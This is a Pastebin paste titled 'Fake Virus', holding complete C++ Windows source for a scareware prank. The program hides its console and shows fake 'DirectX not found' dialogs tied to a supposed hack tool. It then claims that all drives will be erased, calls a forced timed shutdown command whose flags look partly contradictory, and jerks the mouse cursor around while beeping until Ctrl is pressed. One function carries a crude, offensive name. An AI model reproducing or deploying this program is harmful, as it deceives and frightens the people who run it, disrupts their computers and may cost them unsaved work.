Advertisement
Guest User

Fake Virus

a guest
Jul 18th, 2013
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <iostream>
  2. #include <Windows.h>
  3.  
  4. using namespace std;
  5.  
  6. void CreateFile()
  7. {
  8.         if(MessageBox(HWND_DESKTOP,L"DirectX not found\nFix problem?",L"Missing File",MB_YESNO) == IDYES)
  9.     {
  10.         //system("shutdown -a");
  11.         if(MessageBox(HWND_DESKTOP,L"DirectX is installing.",L"Missing File",MB_OK) == IDOK)
  12.         {
  13.             return;
  14.         }
  15.     }
  16.     else
  17.     {
  18.             if(MessageBox(HWND_DESKTOP,L"Can't use hack without it\nAre you sure you want to cancel?",L"Missing File",MB_YESNO) == IDYES)
  19.             {
  20.                 exit(0);
  21.             }
  22.             else
  23.             {
  24.                 CreateFile();
  25.             }
  26.     }
  27. }
  28.  
  29. void CreateMessage()
  30. {
  31.     if(MessageBox(HWND_DESKTOP,L"DirectX installed!",L"Missing File",MB_OK) == IDOK)
  32.     {
  33.         return;
  34.     }
  35. }
  36.  
  37. void Restart()
  38. {
  39.         if(MessageBox(HWND_DESKTOP,L"Are you sure you want to shutdown before finished?",L"Shutdown?",MB_YESNO) == IDYES)
  40.     {
  41.         system("shutdown -a -f -t 20");
  42.     }
  43.     else
  44.     {
  45.             return;
  46.     }
  47. }
  48.  
  49. void MouseRape()
  50. {
  51.     int width = GetSystemMetrics(SM_CXSCREEN); //thanks fleep
  52.     int height = GetSystemMetrics(SM_CYSCREEN); //thanks fleep
  53.         if(MessageBox(HWND_DESKTOP,L"HAHA, Once your computer is shutdown all your precious drives will be erased!",L"VIRUS",MB_OK) == IDOK)
  54.     {
  55.         Sleep(10);
  56.     }
  57.     system("shutdown -a -f -t 20");
  58.     for(;;)
  59.     {
  60.         Sleep(500);
  61.         printf ("\a");
  62.         SetCursorPos( rand () % (width + 1), rand () % (height + 1) ); //thanks fleep
  63.  
  64.         if(GetAsyncKeyState(VK_CONTROL))
  65.         {
  66.             exit(0);
  67.         }
  68.     }
  69. }
  70.  
  71. int main()
  72. {
  73.     HWND hWnd = GetConsoleWindow();
  74.     ShowWindow( hWnd, SW_HIDE );
  75.  
  76.     CreateFile();
  77.     Sleep(5000);
  78.     CreateMessage();
  79.     Sleep(100);
  80.     Restart();
  81.     Sleep(105);
  82.     MouseRape();
  83.  
  84. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement